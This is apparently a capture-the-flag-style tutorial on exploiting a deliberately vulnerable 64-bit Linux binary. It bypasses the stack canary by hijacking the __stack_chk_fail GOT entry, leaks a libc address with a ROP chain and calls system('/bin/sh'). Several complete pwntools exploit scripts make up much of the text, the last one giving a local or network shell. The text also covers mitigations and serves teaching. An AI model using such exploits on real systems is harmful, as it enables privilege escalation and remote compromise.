Linux binary exploitation is a very interesting topic. Thanks to my good friend vampire, he gave me this challenge and helped me to understand a stack canary bypass technique.
The primary objective of this challenge is to execute /bin/bash through system() function.
Environment & Tools
123
Linux Ubuntu01 16.04
python 2.7.x
pwndbg, ROPgadget, IDA, objdump, tmux
Compile the code through gcc with default buffer overflow protections.
1
gcc vuln.c -o vuln
Exploit Scenario
While performing a system enumeration as a low privilege user, you found the suid bit is set for this binary, and the effective user is root. Now you would like to escalate your privilege to root.
While scanning a host, you found this binary is running on a certain port. Now you would like to get the remote shell access.
Binary & OS Protection
1234567891011
# check binary protections:
─$ checksec vuln
[*] '/home/asinha/exploit-dev/vampire_class/bypass_canary_02/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
# check ASLR status:
cat /proc/sys/kernel/randomize_va_space => 2 (ASLR enabled by default, most secure)
High-Level Analysis
It is a 64 bit ELF binary.
.GOT is readable and writable. .GOT is stored in the data segment(RW) section.
Stack memory is not executable.
A canary is used to detect a stack smashing attack. On every program restart, this 8 bytes random value changes.
It is a non_pie binary and ASLR is activated at the OS level. So the data segment is randomized on every program restart and we can’t hardcode any of those addresses in our payload. However, the binary is always gets loaded at a fixed address.
Code Review
Variable c type structure, tag contact is declared in main(). So it gets stored on the stack. The block size of the 64 bit system is 8 bytes. So the total size of the structure is 32 bytes.
name = 24 bytes (originally allocated 20 bytes in code but gcc compiler allocates bytes multiple of 8)
description = 8 bytes
setup() function is used just to flush out the buffer.
memset() function is used to zero out the structure variables.
scanf() reads from the stdin based on the format specifier. Here the format specifier is %s so it reads the input as string until we press ENTER or provide \n, then it stores that entire value into the variables (i.e. c.name and c.description) and adds a null byte or \0 at the end.
c.description variable holds an address that points to a heap region.
The Bugs
Bug 1
There is no boundary checking while taking input from the user. We can overflow the stack memory while providing the input more than 20 bytes through name variable.
12
line 23: scanf("%s", c.name); => %19s is not used
line 25: scanf("%s", c.description); => %99s is not used
Bug 2
Similarly, while providing the input through the description variable, we can write something where heap pointer points and can overflow the heap memory if we provide the input more than 100 bytes.
If we chain those bugs together, then while giving input through the name variable, we can overwrite the heap_pointer address then providing input through the description variable, we can write something where the heap_pointer points.
In short, we can write something in our specified address.
Static Analysis
12
readelf -a vuln | grep -i "entry" => Entry point address: 0x400670
objdump -d -M intel vuln
Dynamic Analysis
Navigate to bypass_canary_02 directory and run tmux.
Run exploit_v01.py to interact with the binary through pwndbg.
1
python exploit_v01.py -m true local -b vuln -g true
#!/usr/bin/env python2# author: greyshellimportargparsefrompwnimport*context(os='linux',arch='amd64')context.terminal=['tmux','splitw','-h']# run the local binary in tmux sessionclassUserInput:def__init__(self):# create the top-level parserself.parser=argparse.ArgumentParser(description="linux binary exploitation")# optional argumentsself.parser.add_argument("-m","--debug_mode",metavar="",choices=["true","false"],help="enable the debug mode, choices = {true, false}, default=false")# based on the dest argument subparsers will be selectedself.subparsers=self.parser.add_subparsers(title="commands",dest="command",help="[command] --help for more details")# create a sub parser for the local binaryself.local_parser=self.subparsers.add_parser("local",description="exploit local binary",help="exploit local binary")self.local_parser.add_argument("-b","--binary",metavar="",help="provide the binary kept in the same directory",required=True)self.local_parser.add_argument("-g","--gdb",metavar="",choices=['true','false'],help="attach gdb in tmux session, choices = {true, false}, default=false")self.local_parser.set_defaults(func='local')# create a sub parser for the binary running on networkself.local_parser=self.subparsers.add_parser("network",description="exploit network binary",help="exploit network binary")self.local_parser.add_argument("-i","--ip_address",metavar="",help="provide ip_address",required=True)self.local_parser.add_argument("-p","--port",metavar="",help="provide port",required=True)self.local_parser.set_defaults(func='network')defexploit(conn):""" exploit code :param conn: :return: """conn.recvuntil("name:\n")# receive bytes till name:input_name="A"*23# sendline() will add \n at the endconn.sendline(input_name)# \n will be added in the last and it will be treated as null byteconn.recvuntil("description:\n")# receive bytes till description:input_des="B"*7# sendline() will add \n at the endconn.sendline(input_des)# make the connection interactiveconn.interactive()defmain():my_input=UserInput()arguments=my_input.parser.parse_args()connection=""# run the script without any argumentiflen(sys.argv)==1:my_input.parser.print_help(sys.stderr)sys.exit(1)# exploiting local binaryifarguments.command=='local':binary_name="./"binary_name+=arguments.binaryconnection=process([binary_name])# attach the binary with gdb in tmux sessionifarguments.gdb=='true':gdb.attach(connection)elifarguments.command=='network':connection=remote(arguments.ip_address,arguments.port)ifarguments.debug_mode=='true':context.log_level='debug'# invoke the exploit functionexploit(connection)if__name__=='__main__':main()
This script sends A and B buffer through the name and description variable.
Program halts on the first scanf().
[DEBUG] sent 0x18 bytes:This means the input is sent from the exploit code, but the program does not yet receive it.
Observe the backtrace, at this point, the execution is not in the main() stack frame.
Jump to the main() frame by entering the finish command multiple times.
From our static analysis, we know that name buffer starts from the RSP + 0 offset and heap_pointer gets stored at RSP + 24.
Verify this hypothesis by analyzing the memory stack.
1
x/20gx $rsp
Exit from the program -> continue or c, quit then ctrl + c.
Understanding the stack layout
123456
0x7fffd9ce76b0: 0x4141414141414141 0x4141414141414141
| | |
| | this \x41 address is 0x7fffd9ce76b8
| this \x41 address is 0x7fffd9ce76b0
|
this \x41 address is 0x7fffd9ce76b7
Summary
Found the A buffer starting at 0x7fffd9ce76b0.
As we have not stepped through the program and executed the second scanf, so we have some heap_pointer value 0x0000000001be2010. This address is from the heap section.
I was expecting canary after heap_pointer. But another address - 0x00007fffd9ce77c0 is stored there. It could be due to compiler optimization.
However, found canary = 0xf9f40452491f4300 after that. As expected, the canary starts with 00 byte signature.
Get an idea of the libc address range from vmmap command.
Found 0x7f9ccc is the starting pattern for the libc address. (mapping address of .so files.
Found an libc address in the RSP + 7 offset => 0x00007f9ccce51830.
This is the address inside ___libc_start_main().
12
pwndbg> telescope 0x00007f9ccce51830
0x7f9ccce51830 (__libc_start_main+240) ◂— mov edi, eax
For every program restart, this libc address changes but the offset from RSP remains the same.
Strategy to Exploit
We can’t leak the canary value because there are no puts (like printf) after the last scanf.
However, while proving the input to the name variable, we can overwrite the heap_pointer with an address.
Again, while providing the input to the description variable, we can provide an address and this address gets overwritten to the memory location where heap_pointer points.
We know that the binary is partial relro so we can overwrite the .GOT.
123
# exploit strategy (high level)
input name = overwrite the heap_pointer address with some function's GOT address like put(), scanf()
input description = overwrite the libc address stored on the GOT entry with ROP to get RIP control
Global Offset Table
Open the binary in IDA -> click on main() function, click on IDA_View then right click -> graph_view to understand the code.
If the canary does not match, the program calls the __stack_chk_fail function, which is a libc function.
When we double click on that __stack_chk_fail. Then it goes to the .PLT.
Double click again, then it goes to .GOT.
In nutshell, whenever __stack_chk_fail is called then finally it goes to .GOT via .PLT and put the value(basically a libc address) stored into address(0x0000000000601020) inside RIP.
To get the RIP control, we need to overwrite the value (basically a libc address) stored on 0000000000601020 during run time.
WHERE to write
While providing the input into the name variable, we can overwrite the heap_pointer value with 0000000000601020.
Also, we need to send 48 bytes buffer to corrupt the canary stored on the stack so that it triggers the __stack_chk_fail function at the end.
WHAT to write
While providing input to the description variable, we can feed deadbeef.
Objective is to set RIP = deadbeef if we continue to execute the program.
Later we can update this deadbeef with ROP gadgets to invoke system().
Bad Char
Usually, the following characters are treated as bad.
123
0x0a => \n
0x0d => \t
0x20 => space
So 0x0000000000601020 has a bad char => 0x20 and we can’t enter this address through our name input.
123
# .GOT table structure
0x0000000000601018: puts() function pointer's address (in libc) => 8 bytes
0x0000000000601020: __stack_chk_fail() function pointer's address (in libc) => (0x0000000000601020 - 0x0000000000601018) = 8 bytes
Due to ASLR and partial relro, the value (basically a libc address) stored on those GOT addresses(i.e 0x0000000000601018) will be changed on every program restart.
However, this binary is non-pie, and the program’s load addressaddress' is notrandomizewhich indicates that all addresses in the program such as0x0000000000601018arefixed`.
Lets observe what values are stored on 0x0000000000601018 and 0x0000000000601020.
1
telescope 0x0000000000601018
12
0x0000000000601018 => puts() address => 0x7fdf2d82c690
0x0000000000601020 => 0x400626 => reason: when the program stops, put() is called already ('Enter name:' in the screen) so GOT entry is loaded with libc address but through exploit_v01.py, we did not corrupt the canary so __stack_chk_fail() is not invoked.
Corrupt the Canary
Lets corrupt the canary with exploit_v02.py and verify the __stack_chk_fail()GOT entry.
1
python exploit_v02.py -m true local -b vuln -g true
#!/usr/bin/env python2# author: greyshellimportargparsefrompwnimport*context(os='linux',arch='amd64')context.terminal=['tmux','splitw','-h']# run the local binary in tmux sessionclassUserInput:def__init__(self):# create the top-level parserself.parser=argparse.ArgumentParser(description="linux binary exploitation")# optional argumentsself.parser.add_argument("-m","--debug_mode",metavar="",choices=["true","false"],help="enable the debug mode, choices = {true, false}, default=false")# based on the dest argument subparsers will be selectedself.subparsers=self.parser.add_subparsers(title="commands",dest="command",help="[command] --help for more details")# create a sub parser for the local binaryself.local_parser=self.subparsers.add_parser("local",description="exploit local binary",help="exploit local binary")self.local_parser.add_argument("-b","--binary",metavar="",help="provide the binary kept in the same directory",required=True)self.local_parser.add_argument("-g","--gdb",metavar="",choices=['true','false'],help="attach gdb in tmux session, choices = {true, false}, default=false")self.local_parser.set_defaults(func='local')# create a sub parser for the binary running on networkself.local_parser=self.subparsers.add_parser("network",description="exploit network binary",help="exploit network binary")self.local_parser.add_argument("-i","--ip_address",metavar="",help="provide ip_address",required=True)self.local_parser.add_argument("-p","--port",metavar="",help="provide port",required=True)self.local_parser.set_defaults(func='network')# noinspection PyUnresolvedReferences,PyUnresolvedReferencesdefexploit(conn):""" exploit code :param conn: :return: """conn.recvuntil("name:\n")# receive bytes till name:input_name="A"*24# sendline() will add \n at the end# we can't overwrite the heap pointer with "C" because program will not find this addressinput_name+=p64(0x601028)# here we need to provide a valid writable address = i.e memset GOT 0x601028input_name+="D"*8# overwrite the 8 byte pad addressinput_name+="E"*8# overwrite the 8 bytes canaryinput_name+="F"*7# RBP: 7 bytes other bufferconn.sendline(input_name)# \n will be added in the last and it will be treated as null byteconn.recvuntil("description:\n")# receive bytes till description:input_des="B"*7# sendline() will add \n at the endconn.sendline(input_des)# make the connection interactiveconn.interactive()defmain():my_input=UserInput()arguments=my_input.parser.parse_args()connection=""# run the script without any argumentiflen(sys.argv)==1:my_input.parser.print_help(sys.stderr)sys.exit(1)# exploiting local binaryifarguments.command=='local':binary_name="./"binary_name+=arguments.binaryconnection=process([binary_name])# attach the binary with gdb in tmux sessionifarguments.gdb=='true':gdb.attach(connection)elifarguments.command=='network':connection=remote(arguments.ip_address,arguments.port)ifarguments.debug_mode=='true':context.log_level='debug'# invoke the exploit functionexploit(connection)if__name__=='__main__':main()
Set the breakpoint before the call of __stack_chk_fail() function.
12
pwndbg> disassemble main
pwndbg> b *0x0000000000400859
When we hit this breakpoint,.GOT does not have the __stack_chk_fail() libc address as it is calling the first time, so it is not loaded yet.
set another breakpoint at __stack_chk_fail function.
1
break __stack_chk_fail
Now when we continue the program and hit our first breakpoint, we can notice __stack_chk_fail() libc address is not loaded in .GOT.
Now when we continue again, then the execution goes to __stack_chk_fail.plt then plt_common_stub to dll_runtime_resolv_avx to resolve the address.
Finally, execution stops when it is about to call __stack_chk_fail. At this point, we can notice __stack_chk_fail.GOT's address is loaded.
Analyse the .GOT of puts()
1234567891011121314
0x0000000000601018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x7fbc0e4c4690 (puts) ◂— push r12
0x0000000000601020 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x7fbc0e56e0f0 (__stack_chk_fail)
# 0x601020 - 0x601018 = 8 bytes
[+] analyse puts() GOT entry
value stored on the 1st byte : 0x0000000000601018 => \x90
value stored on the 2nd byte : 0x0000000000601019 => \x46
value stored on the 3rd byte : 0x000000000060101a => \x4c
value stored on the 4th byte : 0x000000000060101b => \x0e
value stored on the 5th byte : 0x000000000060101c => \xbc
value stored on the 6th byte : 0x000000000060101d => \x7f
value stored on the 7th byte : 0x000000000060101e => \x00
value stored on the last byte (8th): 0x000000000060101f => \x00
Control RIP
Due to ASLR these libc addresses are randomized on every program restart.
However, the interesting point is, ASLR protection randomize only 4 bytes.
Starting 1.5 bytes and last 2.5 bytes are constant / fixed.
Botton line is, we can always predict the last byte of any libc address => \x00.
Resolving the Bad Char
Now instead of overwriting the heap_pointer value with 0000000000601020, we can overwrite 0x000000000060101f (just one byte before the previous address) with 0x00deadbeef.
0x000000000060101f => this does not have any bad char.
Also, while providing the input through the description variable, we can fix this overwritten value with \x00 and provide 0xdeadbeef.
In little endian format => 0xdeadbeef00.
As a result, it makes the puts()GOT entry the same as before and also changed the __stack_chk_failGOT entry to 0xdeadbeef.
Execute exploit_v03.py and observe RIP = 0xdeadbeef
1
python exploit_v03.py -m true local -b vuln -g true
#!/usr/bin/env python2# author: greyshellimportargparsefrompwnimport*context(os='linux',arch='amd64')context.terminal=['tmux','splitw','-h']# run the local binary in tmux sessionclassUserInput:def__init__(self):# create the top-level parserself.parser=argparse.ArgumentParser(description="linux binary exploitation")# optional argumentsself.parser.add_argument("-m","--debug_mode",metavar="",choices=["true","false"],help="enable the debug mode, choices = {true, false}, default=false")# based on the dest argument subparsers will be selectedself.subparsers=self.parser.add_subparsers(title="commands",dest="command",help="[command] --help for more details")# create a sub parser for the local binaryself.local_parser=self.subparsers.add_parser("local",description="exploit local binary",help="exploit local binary")self.local_parser.add_argument("-b","--binary",metavar="",help="provide the binary kept in the same directory",required=True)self.local_parser.add_argument("-g","--gdb",metavar="",choices=['true','false'],help="attach gdb in tmux session, choices = {true, false}, default=false")self.local_parser.set_defaults(func='local')# create a sub parser for the binary running on networkself.local_parser=self.subparsers.add_parser("network",description="exploit network binary",help="exploit network binary")self.local_parser.add_argument("-i","--ip_address",metavar="",help="provide ip_address",required=True)self.local_parser.add_argument("-p","--port",metavar="",help="provide port",required=True)self.local_parser.set_defaults(func='network')# noinspection PyUnresolvedReferences,PyUnresolvedReferencesdefexploit(conn):""" exploit code :param conn: :return: """conn.recvuntil("name:\n")# receive bytes till name:input_name="A"*24# we can't overwrite the heap pointer with "C" because program will not find this addressinput_name+=p64(0x000000000060101f)# put() GOT last byte => 0x000000000060101finput_name+="D"*8# overwrite the 8 byte pad addressinput_name+="E"*8# overwrite the 8 bytes canary to trigger the __stack_chk_failinput_name+="F"*7# RBP: 7 bytes other bufferconn.sendline(input_name)# \n will be added in the last and it will be treated as null byteconn.recvuntil("description:\n")# receive bytes till description:input_des="\x00"# fixing the puts() GOT last byteinput_des+=p64(0xdeadbeef)conn.sendline(input_des)# sendline() will add \n at the end, the \n will overwrite memset() GOT 1st byte# as memset is not used in the code later so it will not be any issue# make the connection interactiveconn.interactive()defmain():my_input=UserInput()arguments=my_input.parser.parse_args()connection=""# run the script without any argumentiflen(sys.argv)==1:my_input.parser.print_help(sys.stderr)sys.exit(1)# exploiting local binaryifarguments.command=='local':binary_name="./"binary_name+=arguments.binaryconnection=process([binary_name])# attach the binary with gdb in tmux sessionifarguments.gdb=='true':gdb.attach(connection)elifarguments.command=='network':connection=remote(arguments.ip_address,arguments.port)ifarguments.debug_mode=='true':context.log_level='debug'# invoke the exploit functionexploit(connection)if__name__=='__main__':main()
ROP Gadget
During this crash, RSP points just before our input buffer.
If we would like to get full control of the stack, then we need to organize the stack in such a way so that.
RSP should point below 0x7ffc50cc51a0. Otherwise, we limit ourselves to the initial 24 bytes as the heap_pointer value is fixed.
RSP - 8 should point to an address of another ROP chain.
RSP should have the value that we want to set in the register (argument of a function)
It means we need to find an ROP gadget that makes RSP points to 0x7ffc50cc51b0.
Replace 0xdeadbeef with (5 POP + RETN) gadget address.
12345678910111213141516171819
# scenario: 1
0x7ffc50cc5178 => when EIP = deadbeef, RSP points here
0x7ffc50cc5180 => input name
0x7ffc50cc5188 => input name
0x7ffc50cc5190 => input name
0x7ffc50cc51a0 => input name => overwrite heap_pointer with .GOT address
0x7ffc50cc51a8 => pad bytes (DDDDDDDD)
0x7ffc50cc51b0 => canary (EEEEEEEE)
0x7ffc50cc51b8 => EBP (FFFFFFFF)
# scenario: 2
0x7ffc50cc5178 => EIP = (5 POP + RETN) gadget address
0x7ffc50cc5180 => input name
0x7ffc50cc5188 => input name
0x7ffc50cc5190 => input name
0x7ffc50cc51a0 => input name => overwrite heap_pointer with .GOT address
0x7ffc50cc51a8 => pad bytes (DDDDDDDD)
0x7ffc50cc51b0 => canary (EEEEEEEE) => RSP points here
0x7ffc50cc51b8 => EBP (FFFFFFFF)
Find the Gadget
1234
[+] find the 'POP POP POP POP POP POP RETN' gadget:
ROPgadget --binary vuln | grep pop
[SNIPPED..]
0x00000000004008bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret => selecting this gadget
Update the exploit_v04.py with the ROPgadget address => 0x00000000004008bb, replace DDDDDDDD with 0xdeadbeef.
Set a breakpoint on that address - 0x00000000004008bb and continue with step single instruction (si).
During crash, RSP will point to EEEEEEEE or 0x4545454545454545 and RIP = 0xdeadbeef.
1
python exploit_v04.py -m true local -b vuln -g true
#!/usr/bin/env python2# author: greyshellimportargparsefrompwnimport*context(os='linux',arch='amd64')context.terminal=['tmux','splitw','-h']# run the local binary in tmux sessionclassUserInput:def__init__(self):# create the top-level parserself.parser=argparse.ArgumentParser(description="linux binary exploitation")# optional argumentsself.parser.add_argument("-m","--debug_mode",metavar="",choices=["true","false"],help="enable the debug mode, choices = {true, false}, default=false")# based on the dest argument subparsers will be selectedself.subparsers=self.parser.add_subparsers(title="commands",dest="command",help="[command] --help for more details")# create a sub parser for the local binaryself.local_parser=self.subparsers.add_parser("local",description="exploit local binary",help="exploit local binary")self.local_parser.add_argument("-b","--binary",metavar="",help="provide the binary kept in the same directory",required=True)self.local_parser.add_argument("-g","--gdb",metavar="",choices=['true','false'],help="attach gdb in tmux session, choices = {true, false}, default=false")self.local_parser.set_defaults(func='local')# create a sub parser for the binary running on networkself.local_parser=self.subparsers.add_parser("network",description="exploit network binary",help="exploit network binary")self.local_parser.add_argument("-i","--ip_address",metavar="",help="provide ip_address",required=True)self.local_parser.add_argument("-p","--port",metavar="",help="provide port",required=True)self.local_parser.set_defaults(func='network')# noinspection PyUnresolvedReferences,PyUnresolvedReferencesdefexploit(conn):""" exploit code :param conn: :return: """conn.recvuntil("name:\n")# receive bytes till name:input_name="A"*24# we can't overwrite the heap pointer with "C" because program will not find this addressinput_name+=p64(0x000000000060101f)# put() GOT last byte => 0x000000000060101finput_name+=p64(0xdeadbeef)# overwrite the 8 byte addressinput_name+="E"*8# overwrite the 8 bytes canary to trigger the __stack_chk_failinput_name+="F"*7# 7 bytes other bufferconn.sendline(input_name)# \n will be added in the last and it will be treated as null byteconn.recvuntil("description:\n")# receive bytes till description:input_des="\x00"# fixing the puts() GOT last byteinput_des+=p64(0x00000000004008bb)# 0x00000000004008bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret# sendline() will add \n at the end, the \n will overwrite memset() GOT 1st byte# as memset is not used in the code later so it will not be any issueconn.sendline(input_des)# make the connection interactiveconn.interactive()defmain():my_input=UserInput()arguments=my_input.parser.parse_args()connection=""# run the script without any argumentiflen(sys.argv)==1:my_input.parser.print_help(sys.stderr)sys.exit(1)# exploiting local binaryifarguments.command=='local':binary_name="./"binary_name+=arguments.binaryconnection=process([binary_name])# attach the binary with gdb in tmux sessionifarguments.gdb=='true':gdb.attach(connection)elifarguments.command=='network':connection=remote(arguments.ip_address,arguments.port)ifarguments.debug_mode=='true':context.log_level='debug'# invoke the exploit functionexploit(connection)if__name__=='__main__':main()
Leak libs - malloc() address
Now our goal is to leak any libc address and find the offset from system().
puts() is used in our program code. So we can leak any libc address by invoking/calling puts() function.
There are two ways,
Through it’s .PLT. This address is stored in the code section. So this address is fixed (permission RX).
Through it’s .GOT. This address is stored in the data section for the partial_relro binary. (permission RW)
.PLT address of puts()
From IDA graph view, click on any puts() function, it goes to its .PLT, right click => text view = 0000000000400610.
Argument of puts()
puts() takes one argument => a pointer to a string.
All libc addresses are loaded in GOT during run time. So if we need the malloc() libc address then we need to pass it’s GOT address - 0000000000601030 as an argument to puts() function.
puts() tries to print all values stored from that address until it gets null.
1
got.plt:0000000000601030 off_601030 dq offset malloc ; DATA XREF: _malloc
Call puts()
Before calling puts() we need to move .GOTmalloc() address to EDI register.
Search a gadget for POP RDI; RETN
12
╰─$ ROPgadget --binary vuln | grep "pop rdi"
0x00000000004008c3 : pop rdi ; ret
Set up the Stack
123456789
# scenario: 2
0x7ffc50cc5178 => EIP = (5 POP + RETN) gadget address
0x7ffc50cc5180 => input name
0x7ffc50cc5188 => input name
0x7ffc50cc5190 => input name
0x7ffc50cc51a0 => input name => overwrite heap_pointer with .GOT address
0x7ffc50cc51a8 => `0xdeadbeef`: replace with `POP RDI; RETN` gadget address - `0x00000000004008c3`
0x7ffc50cc51b0 => `canary` (`EEEEEEEE`): replace with `0000000000601030`=> (malloc .GOT)
0x7ffc50cc51b8 => EBP (FFFFFFFF): replace with `0xdeadbeef`
Update the exploit_v05.py.
1
python exploit_v05.py -m true local -b vuln -g true
#!/usr/bin/env python2# author: greyshellimportargparsefrompwnimport*context(os='linux',arch='amd64')context.terminal=['tmux','splitw','-h']# run the local binary in tmux sessionclassUserInput:def__init__(self):# create the top-level parserself.parser=argparse.ArgumentParser(description="linux binary exploitation")# optional argumentsself.parser.add_argument("-m","--debug_mode",metavar="",choices=["true","false"],help="enable the debug mode, choices = {true, false}, default=false")# based on the dest argument subparsers will be selectedself.subparsers=self.parser.add_subparsers(title="commands",dest="command",help="[command] --help for more details")# create a sub parser for the local binaryself.local_parser=self.subparsers.add_parser("local",description="exploit local binary",help="exploit local binary")self.local_parser.add_argument("-b","--binary",metavar="",help="provide the binary kept in the same directory",required=True)self.local_parser.add_argument("-g","--gdb",metavar="",choices=['true','false'],help="attach gdb in tmux session, choices = {true, false}, default=false")self.local_parser.set_defaults(func='local')# create a sub parser for the binary running on networkself.local_parser=self.subparsers.add_parser("network",description="exploit network binary",help="exploit network binary")self.local_parser.add_argument("-i","--ip_address",metavar="",help="provide ip_address",required=True)self.local_parser.add_argument("-p","--port",metavar="",help="provide port",required=True)self.local_parser.set_defaults(func='network')# noinspection PyUnresolvedReferences,PyUnresolvedReferencesdefexploit(conn):""" exploit code :param conn: :return: """conn.recvuntil("name:\n")# receive bytes till name:input_name="A"*24input_name+=p64(0x000000000060101f)# heap_pointer = overwrite from .GOT puts() last byte => 0x000000000060101finput_name+=p64(0x00000000004008c3)# pad address = 0x00000000004008c3 : pop rdi ; retinput_name+=p64(0x0000000000601030)# canary: argument of `puts()` => `0000000000601030` -> .GOT malloc()input_name+=p64(0x0000000000400610)# EBP = PLT address of puts => `0000000000400610`input_name+=p64(0xdeadbeef)# some return addressconn.sendline(input_name)# \n will be added in the last and it will be treated as null byteconn.recvuntil("description:\n")# receive bytes till description:input_des="\x00"# fixing the puts() GOT last byteinput_des+=p64(0x00000000004008bb)# 0x00000000004008bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret# sendline() will add \n at the end, the \n will overwrite memset() GOT 1st byte# as memset is not used in the code later so it will not be any issueconn.sendline(input_des)libc_leak=u64(conn.recvn(6)+'\x00\x00')# as libc address last two bytes are null print"[+] libc_address => malloc(): ",hex(libc_leak)# make the connection interactiveconn.interactive()defmain():my_input=UserInput()arguments=my_input.parser.parse_args()connection=""# run the script without any argumentiflen(sys.argv)==1:my_input.parser.print_help(sys.stderr)sys.exit(1)# exploiting local binaryifarguments.command=='local':binary_name="./"binary_name+=arguments.binaryconnection=process([binary_name])# attach the binary with gdb in tmux sessionifarguments.gdb=='true':gdb.attach(connection)elifarguments.command=='network':connection=remote(arguments.ip_address,arguments.port)ifarguments.debug_mode=='true':context.log_level='debug'# invoke the exploit functionexploit(connection)if__name__=='__main__':main()
Set a breakpoint on that address - 0x00000000004008bb and continue to hit the breakpoint then single-step through (si) the program.
After we finish 5 POP + RETN, RSP points to the overwritten canary => 0000000000601030.
After we finish POP RDI, RETN, RSP will point to overwritten EBP / 0xdeadbeef and the program is about to execute puts().PLT.
If we continue then puts() prints the malloc() libc address and RIP = 0xdeadbeef.
system() offset
From this libc_leak, we need to find the offset of system() address and /bin/sh address. Those addresses are fixed across every run for that libc.
For a different kernel, that libc address changes, but the offset remains the same.
At this point, we have all information to call system('\bin\sh').
But the fundamental problem is we can’t control our input at this point.
Jump back to main()
However, if we jump back to main(), then again, we can control our input.
1
pwndbg> print main => 0x00000000004007b8
Replace 0xdeadbeef with the address of main().
We need to take control of the RIP again through canary corruption, but this time, during stack step up, we call system('\bin\sh') instead of calling puts().
1
python exploit_v06.py -m true local -b vuln -g true
continue the program and get the /bin/sh shell.
Move to tmux left panel => ctl + b + left arrow key.
The Shell
Run the exploit in standalone mode without debug and gcc attached.
#!/usr/bin/env python2# author: greyshellimportargparsefrompwnimport*context(os='linux',arch='amd64')context.terminal=['tmux','splitw','-h']# run the local binary in tmux sessionclassUserInput:def__init__(self):# create the top-level parserself.parser=argparse.ArgumentParser(description="linux binary exploitation")# optional argumentsself.parser.add_argument("-m","--debug_mode",metavar="",choices=["true","false"],help="enable the debug mode, choices = {true, false}, default=false")# based on the dest argument subparsers will be selectedself.subparsers=self.parser.add_subparsers(title="commands",dest="command",help="[command] --help for more details")# create a sub parser for the local binaryself.local_parser=self.subparsers.add_parser("local",description="exploit local binary",help="exploit local binary")self.local_parser.add_argument("-b","--binary",metavar="",help="provide the binary kept in the same directory",required=True)self.local_parser.add_argument("-g","--gdb",metavar="",choices=['true','false'],help="attach gdb in tmux session, choices = {true, false}, default=false")self.local_parser.set_defaults(func='local')# create a sub parser for the binary running on networkself.local_parser=self.subparsers.add_parser("network",description="exploit network binary",help="exploit network binary")self.local_parser.add_argument("-i","--ip_address",metavar="",help="provide ip_address",required=True)self.local_parser.add_argument("-p","--port",metavar="",help="provide port",required=True)self.local_parser.set_defaults(func='network')# noinspection PyUnresolvedReferences,PyUnresolvedReferencesdefexploit(conn):""" exploit code :param conn: :return: """conn.recvuntil("name:\n")# receive bytes till name:input_name="A"*24input_name+=p64(0x000000000060101f)# heap_pointer = overwrite from .GOT puts() last byte => 0x000000000060101finput_name+=p64(0x00000000004008c3)# pad address = 0x00000000004008c3 : pop rdi ; retinput_name+=p64(0x0000000000601030)# canary: argument of `puts()` => `0000000000601030` -> .GOT malloc()input_name+=p64(0x0000000000400610)# EBP = PLT address of puts => `0000000000400610`input_name+=p64(0x00000000004007b8)# some return address: address of main(), last byte = null# strip the last byte, sendline() will add \n and it will be treated as null byteconn.sendline(input_name[:-1])conn.recvuntil("description:\n")# receive bytes till description:input_des="\x00"# fixing the puts() GOT last byteinput_des+=p64(0x00000000004008bb)# 0x00000000004008bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret# sendline() will add \n at the end, the \n will overwrite memset() GOT 1st byte# as memset is not used in the code later so it should not be any issue# 0x00000000004008bb => last byte is null.conn.sendline(input_des[:-1])# strip last byte, due to \n, a null will be added automaticallylibc_leak=u64(conn.recvn(6)+'\x00\x00')# as libc address last two bytes are null print"[+] libc_address => malloc(): ",hex(libc_leak)# system() = 0x7fda54b0f390system_offset=0x7fda54b0f390-0x7fda54b4e130system_address=libc_leak+system_offset# /bin/sh => 0x7fda54c56d57bin_sh_offset=0x7fda54c56d57-0x7fda54b4e130bin_sh_address=libc_leak+bin_sh_offset# loop back to main()conn.recvuntil("name:\n")# receive bytes till name:input_name="A"*24input_name+=p64(0x000000000060101f)# heap_pointer = overwrite from .GOT puts() last byte => 0x000000000060101finput_name+=p64(0x00000000004008c3)# pad address = 0x00000000004008c3 : pop rdi ; retinput_name+=p64(bin_sh_address)# canary: argument of system() => '/bin/sh'input_name+=p64(system_address)# RBP: call system()conn.sendline(input_name)# a null will be added automaticallyconn.recvuntil("description:\n")# receive bytes till description:input_des="\x00"# fixing the puts() GOT last byteinput_des+=p64(0x00000000004008bb)# 0x00000000004008bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; retconn.sendline(input_des[:-1])# To prevent overwriting memset's got's first byte# make the connection interactiveconn.interactive()defmain():my_input=UserInput()arguments=my_input.parser.parse_args()connection=""# run the script without any argumentiflen(sys.argv)==1:my_input.parser.print_help(sys.stderr)sys.exit(1)# exploiting local binaryifarguments.command=='local':binary_name="./"binary_name+=arguments.binaryconnection=process([binary_name])# attach the binary with gdb in tmux sessionifarguments.gdb=='true':gdb.attach(connection)elifarguments.command=='network':connection=remote(arguments.ip_address,arguments.port)ifarguments.debug_mode=='true':context.log_level='debug'# invoke the exploit functionexploit(connection)if__name__=='__main__':main()
Exploit the binary when it is running on a port
Create the following config file(i.e canary02) inside /etc/xinetd.d directory to expose the binary on 127.0.0.1:9001.
1234567891011
service canary02
{
type = UNLISTED
protocol = tcp
socket_type = stream
port = 9001
wait = no
server = /home/asinha/Dropbox/pentest/code_dev/exploit_dev/linux_binary_exploit/canary_bypass_02/vuln
server_args = not_applicable
user = asinha
}
Description
Commnad
Start the service
sudo service xinetd start
Verify if the service has been started
netstat -antp && grep 9001
Exploit the binary
python exploit06.py network -i 127.0.0.1 -p 9001
Conclusion
We can prevent this exploitation by restricting the input within the size of the buffer.
1234
puts("Enter name:");
scanf("%19s", c.name); // as the size of the `name` variable is 20 bytes
puts("Enter description:");
scanf("%99s", c.description); // as the size of the `description` is 100 bytes
We can also use extra compiler options to make the exploitation hard.
PIE protection : program load address is randomised that prevents to calculate the system() offset from any libc leak.